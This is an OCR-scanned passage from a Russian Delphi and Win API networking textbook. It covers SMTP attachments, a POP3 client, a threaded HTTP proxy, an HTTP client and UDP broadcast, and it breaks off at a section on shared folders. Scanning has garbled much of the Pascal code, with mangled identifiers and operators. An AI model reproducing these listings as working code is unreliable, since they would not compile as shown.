5.3. Отправка файлов по почте 215 stream[quads+2] stream[quads+3] stream[quads+4] IncCquads, 4); end; _Code64[(b[0] mod 4)*16 +(b[l] div 16)+1]; _Code64[(b[l] mod 16)*4 +1]; if (Filesize(afile) mod 3) = 1 then begin BlockRead(afile, b, 1); stream[quads+l] ; = _Code64[(b[0]div 4)+l]; stream[quads+2] : = _Code64[(b[0] mod 4)*16 +1]; streamEquads+3] : = ' = ': stream[quads+4] : = ' = '; s Inc(quads,4); end; stream[0] ;= Chr(qpads): if quads > 0 then SendStr(TCPClientForm.sServerListen, stream); CloseFi1e(afi1e); end; Файлы, отправляемые через Интернет, могут кодироваться разными способами, поэтому в заголовке нужно указывать тип кодировки (в нашем случае это base64): SendStr(ТСРС1i entForm.sServerLi sten, 'Content-Transfer-Encoding: base64'); Так как в письме будет кодироваться содержимое файла, то его имя может быть передано только через заголовок следующим образом: SendStr(ТСРС1i entForm.sServerLi sten, 'Content-Disposition; attachment: filename = '" + ExtractFileName(FileName)+'"'); Команда Content-Di sposi tion указывает на тип содержимого attachment. После точ- ки с запятой идет параметр filename с указанием имени файла. Алгоритм кодирования файла я рассматривать не буду, потому что это выходит за рамки данной книги, а принцип отправки вам уже должен быть понятен. Процеду- ра написана универсально, так что вы можете использовать ее в своих проектах. Снимок почтового клиента, в котором получено письмо с файлом, показан на рис. 5.7. Я специально включил отображение служебной информации, чтобы вы увидели все данные заголовка, которые отправлялись нами программно. По этим данным почтовый клиент разбирает содержимое письма и отделяет прикрепленные фай- лы от текста письма. ПРИМЕЧАНИЕ ------------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch05\SMTPFile.
216 Глава 5. Сетевая практика Рис. 5.7. Полученное письмо в почтовом клиенте 5.4. РОРЗ-клиент на Win API Теперь изучим, как можно получить отправленное письмо с помощью самого по- пулярного протокола приема почты POP3 и Windows API. Протокол POP3 — это несколько команд, которые отправляются серверу в текстовом режиме Основ- ные команды показаны в табл. 5.3. Таблица 5.3. Основные команды протокола POP3 Команда Описание USER имя Протокол POP3 требует авторизации, с помощью этой команды серверу сообщается имя PASS пароль После указания имени пользователя мы должны сообщить свой пароль LIST , Показать все сообщения на сервере RETRn Получить сообщение под номером п DELE n Удалить сообщение под номером п QUIT Завершение сеанса связи Журнал чтения одного тестового сообщения с почтового сервера приведен в лис- тинге 5.7. Листинг 5.7. Пример протокола «общения» с сервером < +0К POP3 Server ready <174414344.369131600svin> >user smirnandr < +0K Password required for user smirnandr >pass wsfewfwef < +0K smirnandrOmail.ru maildrop has 1 messages (912 octets) > 1 i st
5.4. РОРЗ-клиент на Win API 217 <+0К 1 messages (912 octets) <p has 1 messages (912 octets) <1 912 >retr 1 <+0K 912 octets <Return-path: <russia@cydsoft.com> <Received: from [80.80.111.176] (port=25 helo=smtp.aaanet.ru) < by mxl3.mail.ru with esmtp < id lBnsqk-000855-00 < for smirnandr@mail. ru; Fri. 23 Jul 2004 09:44:07 +0400 <Received: from [80.80.99.95] (helo=notebook) < by smtp.aaanet.ru with esmtp (Exim 4.30; FreeBSD) < id lBnssu-0000L2-NB < for smirnandr@mail.ru; Fri. 23 Jul 2004 09:46:20 +0400 <Date: Fri. 23 Jul 2004 09:44:13 +0400 <From: cydrussia <russia@cydsoft.com> <X-Mailer: The Bat! (vl.53d) Personal <Reply-To: cydrussia <russia@cydsoft.com> <X-Priority: 3 (Normal) <Message-ID: <1054074468.20040723094413@cydsoft.com> <To: smirnandr@mail.ru <Subject: Test Message <MFME-Version: 1.0 <Content-Type: text/plain; charset=koi8-r Content -Transfer- Encodi ng: 8b 11 <X-Spam: Not detected Cel 1 о. <TestMessage <Best regards. < cydrussia mailto:russia@cydsoft.com >dele 1 <+0K message 1 deleted >quit Разберем, что же тут происходит. После соединения с сервером мы получаем со- общение об его готовности к работе. Прежде чем выполнять какие-то действия, необходима авторизация с помощью команд USER и PASS. Если все проходит ус- пешно, то сервер должен нам ответить сообщениями, которые начинаются с +0К. Затем выполняется команда LIST. На нее сервер отвечает следующими сообщени- ями: +0К 1 messages (912 octets) р has 1 messages (912 octets) 1 912
218 Глава 5- Сетевая практика В первой строке сервер указывает количество сообщений, в скобках помечен их полный размер. Далее идет столько строк, сколько сообщений находится на сер- вере. В каждой строке будет сначала располагаться номер сообщения, а потом размер. Заканчивающая строка содержит точку. Вот пример ответа при трех со- общениях на сервере: 1 912 2 384 3 234 Теперь запрашиваем у сервера получение первого сообщения с помощью коман- ды ret г 1. На этот запрос сервер будет отправлять нам соответствующее сообще- ние. Рассмотрим сказанное па практике. Создайте новое приложение. На главной фор- ме нам понадобятся следующие элементы: • два поля ввода для указания адреса сервера и порта. В качестве порта чаще всего используется 110; • компонент ТМето для отображения хода выполнения задачи; • кнопка, по нажатии которой будем получать письма. Пример внешнего вида главной формы будущей программы показан на рис. 5.8. Рис. 5.8. Форма будущего РОРЗ-клиента Перейдем к практической реализации программы. Код, который должен выпол- няться по нажатии кнопки Получить, приведен в листинге 5.8. Первая часть прак- тически не отличается от SMTP-клиента, где происходит соединение с сервером на указанном порте. Листинг 5.8. Соединение с сервером procedure TTCPClientFormkbtRecvMessagesClick(Sender: TObject); var wData: WSADATA;
5.4. РОРЗ-клиент на Win API 219 sServerListen; TSOCKET; server_addr: sockaddrjn; begin mmLog.Cl ear; //////////////////////////// // СОЕДИНЕНИЕ С СЕРВЕРОМ // //////////////////////////// // Загрузка WinSock if WSAStartup(MAKEWORD(1.1). wData) <> 0 then begin MessageBox(0. 'He могу загрузить WinSock'. 'Ошибка'. 0); exit; end; // Создание сокета sServerListen ; = socket(PF_INET. SOCK_STREAM. IPPROTOJP); if sServerListen = INVALID_SOCKET then begin MessageBox(0. ’Ошибка создания сокета’. 'Ошибка'. 0); exit; end; // Заполнение структуры адреса server_addr.sin_addr.s_addr ;= htonl(INADDR_ANY); server_addr.sin_family ;= AF_INET; server_addr.sin__port ;= htons(StrToInt(edPort.Text)); server_addr.sin_addr ;= LookupName(edServer.Text); // Соединение с сервером if (connect(sServerListen. server_addr. sizeof(server_addr)) = SOCKETJRROR) then begin TestWinSockError('Connect'); exit; end; /////////////////////////// 11 ПОЛУЧЕНИЕ ПИСЬМА N° 1 // /////////////////////////// GetStr(sServerListen); // Авторизация SendStr(sServerListen. 'user smirnandr'); GetStr(sServerListen); SendStr(sServerListen. 'pass dfgfdggtf); GetStr(sServerListen); продолжение &
220 Глава 5, Сетевая практика Листинг 5-8 (продолжение) II Получаем список сообщений SendStr(sServerListen. 'list'); Sleep(lOOO); GetStr(sServerListen); // Получаем первое сообщение SendStr(sServerListen, ' retr Г); Sleep(lOOO); GetStr(sServerListen); // Удаляем прочитанное первое сообщение SendStr(sServerL1sten, 'dele 1'); GetStr(sServerListen); // Выход SendStr(sServerListen, 'quit*): CloseSocket(sServerListen); end: Отправка данных осуществляется при помощи уже знакомой процедуры SendStr. Мы написали ее при создании примера SMTP-клиента с возможностью отправки файлов (см. раздел 5.2 данной главы). Для приема сообщений от сервера в дан- ном случае используется процедура GetStr (листинг 5.9). Листинг 5.9. Функция получения строки procedure GetStr(sTSocket): var sRecvBuff: array [0..5000] of char: TempStr: Ansi String; begin TestFuncError(recv(s. sRecvBuff, Size0f(sRecvBuff), 0), 'Ошибка выхода'); TempStr := sRecvBuff; while Pos(#13, TempStr) > 0 do begin TCPC1i entForm.mmLog.Li nes.Add('<'+Copy(TempStr. 1. Pos(#13, TempStr))); Delete(TempStr, 1, Pos(#13, TempStr)+l); end; Appli cati on.ProcessMessages; end: Обратите внимание, что при приеме сообщения мы создали буфер размером в 5000 байтов. Это больше, чем раньше, и сделано для того, чтобы принять все письмо сразу одним блоком, а не построчно. Если размер письма окажется боль- ше этого значения, то придется повторно вызывать функцию recv для получения оставшейся порции данных. Далее запускается цикл, в котором полученные данные разбиваются на строки и добавляются в компонент Мето.
5.5. Создание Proxy-сервера 221 Вернемся к коду получения письма (см. листинг 5.8). Обратите внимание, что после отправки команд LIST и RETR вызывается функция Sleep для создания задерж- ки. Это необходимо для того, чтобы сервер успел нам ответить. Если при ответах на простые команды нужно прислать ОК или ошибку, то для этих двух команд будут выполняться некоторые действия, которые отнимут время. Чтение произойдет неправильно, если не сделать задержку. В ответе будет содер- жаться только код правильности выполнения нашего запроса, а результата за- проса (текста письма) еще не будет. Письмо от сервера, которое мы получаем, приходит в текстовом виде. Если пись- мо содержит вложение, то вы должны найти последовательность boundary и по ней отделить текстовые данные от вложения. Помните, что вложений может быть не- сколько и они могут иметь разные значения параметра content type. ПРИМЕЧАНИЕ --------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch05\POP. 5.5. Создание Proxy-сервера Теперь изучим, как можно создать HTTP прокси-сервер. Прокси-сервер — это по- средник между пользователем и Интернетом. Допустим, что в вашей локальной сети есть сервер, который подключен выделенным каналом к Интернету. Чтобы все компьютеры получили доступ, нужно установить на сервере посредника, че- рез который локальные компьютеры будут обращаться в глобальную сеть. Прокси-сервер может маскировать IP-адреса, и в Интернете будет виден только адрес сервера, потому что запросы будут идти от его имени. Помимо этого, современные сер- веры могут кэшировать информацию и таким образом экономить входящий трафик. В этой главе мы создадим прокси-сервер, который будет маскировать адрес (все запросы будут идти от имени сервера), но без возможности кэширования. Таким образом, связь будет как бы прозрачной. Итак, перейдем к практике и изучим, как все работает изнутри. Для начала нуж- но определиться с используемой технологией. Что выбрать — блокировки, ожи- дания через select или события Windows? В нашей программе, когда пользова- тель запросит загрузить какой-либо сайт, мы должны будем получить этот сайт от сервера и передать его пользователю. Это отнимет много времени, и при ис- пользовании событий друГйе пользователи в данный момент работать не смогут. Для осуществления параллельной работы нам необходимо применять потоки и для каждого подключения создавать собственный экземпляр. На первый взгляд это кажется сложным, но сейчас мы убедимся, что все намного проще, чем кажется. Теперь переходим к реализации. Создайте новый проект. На форме нам понадо- бятся три поля ввода: • порт, на котором будет работать наш сервер и ожидать подключения со сторо- ны клиента;
222 Глава 5. Сетевая практика • порт внешнего прокси-сервера, если наш должен будет перенаправлять запро- сы другому серверу. Таким образом, мы сможем строить цепочку из разных прокси-серверов; • адрес внешнего прокси-сервера. Помимо этого нужна кнопка, по нажатии которой будет запускаться прокси-сер- вер. Возможность остановки мы закладывать не будем, хотя эта операция заклю- чается в простой остановке потока сервера. Пример главной формы будущей программы показан па рис. 5.9. Proxy х пррг : j-—— Порт внеш, прежеика |8080 Адр, внеш; прок[192168'8.88 ЗапускJ Рис. 5.9. Форма будущего прокси-сервера Загрузку сетевой библиотеки WinSock поместим на событие OnCreate для глав- ной формы: procedure THTTPProxyForm.FormCreate(Sender: TObject): var wData: WSADATA: begin If WSAStartup(MAKEWORD(1.1). wData) <> 0 then begin MessageBox(0, 'He могу загрузить WinSock'. 'Ошибка'. 0): exit; end: end: По нажатии кнопки Запуск нужно запустить прокси-сервер. Для этого мы созда- дим отдельный поток, и в нем будем ожидать подключения от клиента, чтобы не задерживать работу главной формы. Блокировок в программе не будет. Итак, далее мы создадим поток с именем TServerThread, а сейчас подготовим его инициализацию. Она будет выполняться по нажатии кнопки запуска прокси-сер- вера. Для этого напишите следующий код: procedure THTTPProxyForm.bnStartClick(Sender: TObject); var st: TServerThread; begin st := TServerThread.Create(true); st.iLocalPort ; = StrToIntDef(edPort.Text. 8088); st.iExtProxyPort := StrToIntDef(edExtProxyPort.Text. 8080); st.sExtProxyAddr : = edExtProxyAddr.Text; st.Resume; end;
5.5. Создание Proxy-сервера 223 Потоку сервера понадобится информация о том, на каком порте ему работать и где находится следующий сервер. Именно поэтому мы записываем эту информацию в открытые переменные сервера, чтобы они хранились локально. Нет смысла обра- щаться из потока к главной форме, потому что в будущем вы можете запустить два прокси-сервера на разных портах практически без модификации кода. Теперь посмотрим на реализацию потока сервера. Для его создания выполните команду меню File ► New ► Other (для Delphi 6 и меньшей версии достаточно вы- брать File ► New). Перед вами откроется диалоговое окно задания создаваемого эле- мента. Выберите Thread Object и нажмите ОК. Должно появиться диалоговое окно ввода имени потока. Введите TServerThread и нажмите ОК. Полный исходный код (только без знакомых нам процедур проверки сообщений TestFuncErгог и TestWInSockError) вы можете увидеть в листинге 5.10. Листинг 5-10. Код потока TServerThread unit ServerThreadUnit; Interface uses Classes, winsock, windows; type TServerThread = class(TThread) private {Private declarations} protected procedure Execute; override; public i Local Port. i ExtProxyPort;Integer; sExtProxyAddr;Stri ng; end; implementation uses ClientThreadUnit; procedure TestWinSockError(S;String); begin // Код этой процедуры нам знаком, поэтому урезан для экономии места end; function TestFuncError(1Err;Integer; FuncName;String);Boolean; begin // Код этой функции нам знаком, поэтому урезан для экономии места end; procedure TServerThread.Execute; продолжение &
224 Глава 5. Сетевая практика Листинг 5.10 (продолжение) var sServerListen, stClientSocket: TSOCKET: localaddr: sockaddrjn; ct: TClientThread; begin // Создание сокета sServerListen := socket(AF_INET, SOCK_STREAM, 0): if sServerListen = INVALID-SOCKET then begin NessageBox(0, ’Ошибка создания сокета’. ’Ошибка', 0): exit; end: // Заполнение структуры адреса localaddr.sin_addr.s_addr : = htonl(INADDR_ANY): localaddr.sin_family : = AF_INET; localaddr.sin_port := htons(iLocal Port); // Связывание сокета с локальным адресом if TestFuncError(bind(sServerListen. localaddr, sizeof(localaddr)). ’bind') then exit; // Запустить прослушивание if TestFuncError(listen(sServerListen, 4), 'Listen') then exit; // Цикл обработки подключений от клиента while true do begin // Принять соединение stClientSocket := accept(sServerListen, nil, nil); if stClientSocket = INVALID-SOCKET then continue; » // Создать поток для общения с клиентом ct := TClientThread.Create(true); ct.stClient := stClientSocket; ct.iExtProxyPort := iExtProxyPort; ct.sExtProxyAddr : = sExtProxyAddr; ct.Resume; end; end: end. В разделе publ ic добавлены три переменные: iLocalPort, iExtProxyPort типа Integer и sExtProxyAddr, имеющая тип String. Мы уже пользовались этими переменными, когда рассматривали код создания потока, здесь же видно, как они объявлены. Основной код серверного потока расположен в процедуре Execute. Сначала со- здается сокет и запускается прослушивание подключений на порте, указанном пользователем.
5.5. Создание Proxy-сервера 225 В бесконечном цикле while принимаются входящие соединения. Если получен корректный сокет, то создается еще один поток типа TCI ientThread. В этом потоке будет происходить непосредственное общение между клиентом и сервером. По- ток будет выступать для клиента посредником для доступа к веб-страницам. Код потока TCI ientThread приведен в листинге 5.11. Листинг 5.11- Поток, выступающий посредником между клиентом и web unit ClientThreadUnit; interface uses Classes, winsock, sysutils. windows: type TCIientThread = class(TThread) private {Private declarations} protected' procedure Execute: override: public iExtProxyPort: Integer: sExtProxyAddr: String: stClient: TSocket: end: implementation {TCIientThread} function LookupName(name: String): TInAddr; begin // Функция определения имени, которая нам знакома end: // Функция отправки строки procedure SendStr(s: TSocket; str: String): begin TempStr : = str+#13+#10: CopyMemory(@sRecvBuff. PChar(TempStr), Length(TempStr)): send(s, sRecvBuff. Length(TempStr). 0): end; procedure TCIientThread.Execute; var Buff: array CO..1024] of char: iPort: Integer; sRequest. sHost: String; server_addr: sockaddr_in: продолжение
226 Глава 5. Сетевая практика Листинг 5.11 (продолжение) sock_server: TSocket; IMode. ISize: Integer: rfds: TFDSET; begin //////////////////////////// // Считывание заголовка //////////////////////////// Recv(stCllent. Buff. 1024. 0): sRequest := Strlng(Buff); // Нет заголовка If sRequest = '' then begin CloseSocket(stCl1 ent); exit; end; //////////////////////////// // Определяем адрес сервера и порта //////////////////////////// sHost ;= Copy(sRequest. PosCHost: '. sRequest). 255); Delete(sHost, Pos(#13. sHost). 255); Delete(sHost. 1. 6); IPort := StrToIntDef(Copy(sHost. Post’;’, sHost)+l. 255), 80); Delete(sHost, PosC:', sHost), 255); 11 Если не найден host, то ошибка If sHost = '' then begin SendStr(stC11ent, 'HTTP/1.0 400 Invalid header received from browser'); CloseSocket(stCllent); exit; end; // Если есть внешний «проксик», то перенаправляем на него If sExtProxyAddro'' then begin IPort ;= IExtProxyPort; sHost ;= sExtProxyAddr; end; sock_server-;= socket(AF_INET. SOCK_STREAM. 0); // Ищем прокси-сервер server_addr.s1n_addr.s_addr ;= htonl(INADDR_ANY); server_addr.s1n_fam11y ; = AF_INET; server_addr.s1n_port ;= htons(IPort): server_addr.s1n_addr ;= LookupName(sHost); 1
5.5. Создание Proxy-сервера 227 // Соединение с сервером if connect(sock_server, server_addr, sizeof(server_addr)) = SOCKET_ERROR then begin SendStr(stClient. '404 Host Not Found’); exit; end; iMode ;= 1; setsockopt(sock_server. IPPROTO_TCP. TCP_NODELAY, @iMode, sizeof (integer)); // Перенаправляем запрос серверу или другому «проксику» send(sock_server, buff, strlen(buff),0); // Теперь работаем посредником между клиентом и сервером. // передавая запрошенные данные while true do begin // Добавляем сокеты в набор для ожидания FD_ZERO(rfds); FD_SET(stClient, rfds); FD_SET(sock_server. rfds); if (selected. Orfds. nil, nil. nil) < 0) then exit; // Если пришел запрос от клиента. // то перенаправляем серверу if (FD_ISSET(stClient. rfds)) then begin iSize ;= recv(stClient, buff, sizeof(buff). 0); if iSize=-l then break; Send(sock_server, buff, iSize, 0); continue; end; // Если пришли данные от сервера. // то перенаправляем клиенту if (FD_ISSET(sock_server, rfds)) then begin iSize ;= recv(sock_server, buff, sizeof(buff). 0); // Сервер уже все выслал if iSize = 0 then exit; продолжение &
228 Глава 5. Сетевая практика Листинг 5.11 (продолжение) Send(stCllent, buff, ISize, 0): continue; end; end; CloseSocket(stCli ent); CloseSocket(sock_server); end; end. Для прокси-сервера в потоке TCIientThread спрятано самое интересное, и сейчас мы это подробно рассмотрим. Единственное, что упущено в этом листинге, — уже знакомая нам функция LookupName. Итак, когда клиент подключился к прокси-серверу, он посылает стандартный HTTP-запрос на получение какого-либо файла. Мы считываем этот заголовок с помощью функции recv. Заголовок выглядит следующим образом; GET http;//www.vr-onl1ne.ru/HTTP/1.0 Accept; image/gif, image/x-xbitmap, image/jpeg, */* Accept-Language: ru User-Agent: Mozilla/4.0 (compatible: MSIE 6.0; Windows NT 5.2: .NET CLR 1.1.4322) Host: www.vr-online.ru Proxy-Connection: Keep-Alive Пока не будем вникать в суть запроса и содержащихся здесь команд, для нас сей- час главное — это строка host. В ней находится адрес сервера, с которого нужно получить данные и вернуть клиенту. В данном случае это www.vr-onlin.ru. Адрес известен, осталось выяснить порт. По умолчанию веб-серверы работают на пор- те 80, но если не так, то адрес веб-сервера будет указан следующим образом: www.vr-online.ru:Port. После двоеточия указывается номер порта, и мы должны учи- тывать этот нюанс. Итак, получив заголовок, начинаем выбирать из него имя хоста: sHost := CopyCsRequest, PosCHost: ’. sRequest), 255); Delete(sHost, Pos(#13, sHost), 255); Delete(sHost. 1. 6); Теперь отделяем номер порта, если он указан: IPort := StrToIntDef(Copy(sHost, Pos(’:’, sHost)+l, 255), 80); Delete(sHost, PosC:'. sHost), 255); Если порт не указан, то функция StrToIntDef выдаст ошибку и возвратит значе- ние, указанное по умолчанию, то есть 80. Обязательно проверяем: если переменная sHost после разбора заголовка равна пустой строке, то адрес сервера не указан или указан неверно. В этом случае мы должны вернуть ошибку. Это можно сделать следующим образом: SendStr(stClient, 'HTTP/1.0 400 Invalid header received from browser’); После отправки ошибки закрываем сокет и выходим из потока.
5.5. Создание Proxy-сервера 229 Теперь проверяем: если указан внешний «проксик», то заменяем адрес и порт сер- вера на параметры внешнего прокси-сервера. В этом случае мы просто должны переслать на этот сервер запрос, полученный от клиента. В принципе, если есть внешний прокси-сервер, то не было смысла определять ад- рес сервера. Но я делаю это в любом случае и вам советую, потому что в будущем может понадобиться переадресация. Например, если пользователь запрашивает страницу с сайта www.sex.ru, то наш прокси-сервер определит это и сможет переад- ресовать запрос на другой сервер. Для этого достаточно поменять значение пере- менной sHost и немного подкорректировать запрос, который поступил от клиента. Определив нужные параметры, создаем новый сокет, с помощью которого будет происходить связь с внешним сервером (независимо от того, другой ли это про- кси-сервер или непосредственно веб-сервер). Создав новый сокет и подключившись к серверу, мы сразу же переводим его в асинхронный режим таким образом: IMode := 1: setsockopt(sock_server, IPPROTO_TCP, TCP_NODELAY, @iMode, sizeof(integer)); Функция setsockopt в данном случае схожа по своему назначению с i octi socket, рассмотренной нами в главе 4. Она переводит сокет в более быстрый режим рабо- ты, который позволяет не ожидать и не накапливать данные, а сразу же прини- мать и пересылать их. Таким образом мы минимизируем задержки, а накаплива- нием занимается сервер или клиент. После перевода сокета в нужный режим перенаправляем веб-серверу (или следу- ющему прокси-серверу) запрос от клиента и запускаем бесконечный цикл. Этот цикл и будет посредником. Здесь ожидаются данные от клиента и сервера и пере- сылаются друг другу. Если пришли пустые данные, то это значит, что соединение завершено, и цикл прерывается. Все открытые сокеты при выходе из процедуры закрываются. Как видите, прокси-сервер — это всего лишь посредник, который пересылает па- кеты между клиентом и сервером. Попробуйте добавить возможность просмотра того, что пересылается между клиентом и сервером, и вы увидите, что на запрос клиента, сервер передает только текстовое содержимое документа. После этого браузер разбирает полученный документ, и если находит картинки или другую дополнительную информацию (звуковые файлы, flash-ролики и т. д.), то идет до- полнительный запрос на получение этих данных. Таким образом, браузер полу- чает только те данные, которые ему нужны, и может экономить трафик. Хочу также обратить ваше внимание на то, что в качестве номеров портов в ис- ходном коде по умолчанию установлено значение 8080. Это связано с тем, что моя сеть настроена через прокси-сервер. Если вы используете DialUp, то в качестве порта внешнего «проксика» и адреса нужно указать пустые строки. Для тестирования примера запустите нашу программу и сервер. Затем открой- те Internet Explorer (или другой браузер) и настройте его на использование прокси-сервера. Для этого выполните команду меню Сервис ► Свойства обозре- вателя, и в появившемся диалоговом окне (рис. 5.10) перейдите на вкладку Под- ключение.
230 Глава 5. Сетевая практика Рис. 5.10. Настройка браузера Нажмите кнопку Настройка сети, и перед вами откроется новое диалоговое окно (рис. 5.11). Рис. 5.11. Настройка прокси-сервера В области Прокси-сервер установите флажок Использовать прокси-сервер и укажи- те адрес и порт. Если вы запускаете сервер на своем локальном компьютере, то можно указать 127.0.0.1, но я рекомендую указать реальный адрес, чтобы пример точно работал.
5.6. HTTP-клиент 231 ПРИМЕЧАНИЕ -----------------------------------------------------------:------ Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch05\HTTPProxy. 5.6. HTTP-клиент Теперь изучим, как можно работать с протоколом HTTP. В последнее время этот протокол получает все большую популярность и используется не только в брау- зерах для просмотра веб-страниц, но и для загрузки файлов по сети (например, для обновления программ) или создания различных каталогов, загружающих ин- формацию с веб-сайтов. В данной главе мы рассмотрим основы загрузки файлов через протокол HTTP с ис- пользованием Win API. Документ RFC 2068 (http://rtfm.adamant.net/web/rfc2068.html) раскрывает много тонкостей стандарта. Этот документ занимает около 70 страниц. Описывать его весь нет смысла, поэтому рассмотрим основную команду GET, а осталь- ные команды (например, PUT) действуют по такому же принципу Итак, создадим новое приложение и поместим на форму (рис. 5.12) следующие элементы: • строку ввода для указания адреса прокси-сервера; • компонент Мето для отображения полученных от сервера данных; • кнопку, по нажатии которой будет отправляться запрос. Рис. 5.12. Форма будущей программы Если в вашей сети нет прокси-сервера, то данные, которые мы будем отправлять в этом примере «проксику», надо посылать напрямую нужному веб-серверу (ча- ще всего это порт 80). По нажатии кнопки Отправить будет выполняться код из листинга 5.12.
232 Глава 5. Сетевая практика Листинг 5.12. Отправка запроса веб-серверу procedure ТТСРС1ientForm.btSendClIck(Sender: TObject); var wData: WSADATA: sServerListen: TSOCKET; server_addr: sockaddr_in: s: String; begin // Загрузка WinSock If WSAStartup(MAKEWORD(1,1), wData) <> 0 then begin MessageBoxCO, ’He могу загрузить WinSock', 'Ошибка', 0): exit; end: // Создание сокета sServerListen : = socket(AF_INET, SOCK_STREAM, IPPROTOJP); If sServerListen = INVALID_SOCKET then begin MessageBoxCO, 'Ошибка создания сокета’. 'Ошибка', 0); exit; end; // Заполнение структуры адреса server_addr.s1n_addr.s_addr := htonl(INADDR_ANY); senver_addr.s1n_fam11y : = AF_INET; server_addr.s1n_port := htons(8080): server_addr.s1n_addr := LookupName(edServer.Text); if (connect(sServerL1sten, server_addr, s1zeof(server_addr)) = SOCKET_ERROR) then begin TestWInSockError('Connect'); exit; end; // Посылаем запрос серверу s := 'GET http://www.vr-onl1ne.ru/. HTTP/1.0’+#13#10+ 'Host: www.vr-onl1ne.ru'+#13#10; SendStrCsServerListen, s); // Ожидание 2 секунды Sleep(2000); // Чтение полученных данных GetStr(sServerLlsten): CloseSocket(sServerListen); end:
5.6. HTTP-клиент 233 Код уже должен быть понятен, но все же требует некоторых пояснений. В лис- тинге я опустил описание уже знакомых нам функции SendStr, GetStr, LookupName. Реализацию этих функций можно взять из предыдущих примеров. Как видите, мы просто соединяемся с веб-сервером на порт 80 и отправляем ему следующий НТТР-запрос: GET http://www.vr-online.ru/ НТТР/1.0 Host: www.vr-online.ru Первая строка запрашивает загрузку веб-страницы с сайта www.vr-online.ru, во вто- рой строке указывается сайт, с которого должна происходить загрузка. Этого до- статочно, чтобы сервер возвратил полное содержимое нужной веб-страницы в тек- стовом режиме. Прежде чем получать данные, для простоты примера делается задержка в 2 се- кунды. За это время веб-сервер успевает передать нам все данные, и они сохраня- ются в буфере. После вызова функции recv сразу же считывается весь файл. Если не сделать задержку, то в буфере будут находиться не все данные и мы должны будем вызывать функцию recv в цикле и получать данные порциями, по мере их поступления. Этот цикл выполняется до тех пор, пока функция не вернет пустое значение, то есть передача завершена и соединение закрыто. В функции GetStr должен быть выделен буфер достаточного размера для приема всего файла. Если размер не позволит принять весь файл, то придется вызывать функцию несколько раз. Такой способ хорош для простого примера, но в реальном приложении я рекомендую использовать цикл, потому что сервер может ответить с задержкой и в первом пакете вы получите неполные данные. При использовании цикла очень легко определить конец передачи данных и корректно получить все необходимое. Если запрашивается HTML-файл, и вы пишете собственный браузер, то после получения текстовых данных вы должны начать их разбор в поисках тегов, ука- зывающих на картинки и другую информацию, которую будет отображать ваш браузер. Когда вы находите указатель на изображение, нужно снова соединиться с веб-сервером и запросить соответствующую картинку. Именно поэтому чем больше картинок, тем дольше происходит загрузка из-за лишних затрат времени на соединение. Так как разбор HTML-файлов происходит на компьютере клиента, это позволяет экономить трафик и загружать только то, что необходимо. При этом возрастает нагрузка на веб-сервер из-за множества подключений. Один клиент может созда- вать по 10 и более соединений для загрузки всех необходимых файлов. Наиболее «умные» браузеры создают подключения с сервером параллельно. На- пример, если на веб-странице найдено 10 картинок, то они будут загружаться од- новременно. По моим наблюдениям, Internet Explorer одновременно загружает по 3 изображения. Это нагружает сервер, но оптимизирует трафик и скорость за- грузки на клиенте. При отправке запроса мы указываем стандарт НТТР/1.0, но существует более новая версия НТТР/1.1. Про различие между двумя стандартами вы можете про- читать в соответствующем RFC.
234 Глава 5. Сетевая практика Меня очень часто спрашивают, как написать программу, которая будет «кликать» по определенной кнопке? Нужно всего лишь выяснить, какой запрос посылается серверу, и отправлять его из своей программы. Если вы не знаете, как браузер формирует запрос, то лучше его подсмотреть. Это можно сделать с помощью ло- кального прокси-сервера, описанного в главе 4. Зная запрос, который должен быть отправлен серверу, легко можно отправить его из своей программы, имитировав при этом отправку от имени другой про- граммы, ведь отправитель идентифицируется с помощью содержащейся в запро- се информации. ПРИМЕЧАНИЕ ----------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch05\HTTPCIient. 5.7. Широковещание Рассмотрим пример использования широковещательных пакетов. Допустим, что вам нужно написать программу, которая будет рассылать всем компьютерам в се- ти определенное сообщение. Конечно же, можно воспользоваться командой NET SEND, но она не работает в Windows 9х, имеет ограничения и неудобства. Давайте посмотрим, как эффективно решить эту проблему программно. Итак, вам нужно написать сервер, который будет установлен на всех компьюте- рах и который будет прослушивать определенный порт. Клиентская программа должна будет отправлять всем какое-то сообщение. Можно искать все компьюте- ры в сети и отправлять им личные сообщения, но намного эффективнее будет от- править один пакет, который может быть получен всеми в вашей сети. Рассмотрим именно клиентскую часть, которая отсылает запрос. Создайте новое приложение, подключите модуль WinSock и поместите на форму одну кнопку, по нажатии которой будет происходить рассылка. Код, который должен будет вы- полняться по нажатии этой кнопки, приведен в листинге 5.13. Листинг 5.13. Отправка широковещательных пакетов procedure TForml.SendButtonClick(Sender: TObject); var s: TSocket; sock; TSockAddrln; b; Boolean: sRecvStr; array [0..255] of char; wData: WSADATA; begin // Загрузка сетевой библиотеки If WSAStartup(MAKEWORD(1.1). wData) <> 0 then begin MessageBox(0. 'He могу загрузить WinSock'. 'Ошибка'. 0); exit; end;
5.8. Открытые папки 235 // Создание сокета для работы по UDP s := socket(AF_INET, SOCKJDGRAM, IPPROTOJJDP); // Перевод сокета в режим широковещания b : = true: setsockopt(s, SOL_SOCKET, SO_BROADCAST. @b. sizeof(Boolean)); // Заполняем адрес получателя sock.sin_addr.s_addr : = htonl(INADDR_ANY); sock.sin_fanrily : = AF_INET: sock.sin_port : = htons(5050): sock.sin_addr.S_addr := 1net_addr('255.255.255.255'): // Отправка сообщения sRecvStr := 'Тестовое сообщение': if SendTo(s, sRecvStr, 17, 0, sock. SizeOf(sock)) = SOCKET_ERROR then b := false: // Закрываем сокет closesocket(s): end: После загрузки сетевой библиотеки мы создаем сокет для работы с протоколом UDP. Широковещательные пакеты можно отправлять только по такому протоко- лу, который не устанавливает соединение. После этого сокет «насильно» переводится в режим широковещания с помощью функции setsockopt, которую мы рассматривали в главе 4. При заполнении структуры адреса в качестве адреса получателя указывается 255.255.255.255. Это специально зарезервированный адрес для широковещания. Подготовив структуру с адресом и номером порта, отправляем текстовое сооб- щение с использованием уже знакомой нам функции SendTo, которая предназна- чена для работы по протоколу без установки соединения. ПРИМЕЧАНИЕ -------------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch05\Broadcast. 5.8. Открытые папки Меня очень часто спрашивают о том, как можно программно открыть или закрыть доступ к какому-либо ресурсу. В двух словах это 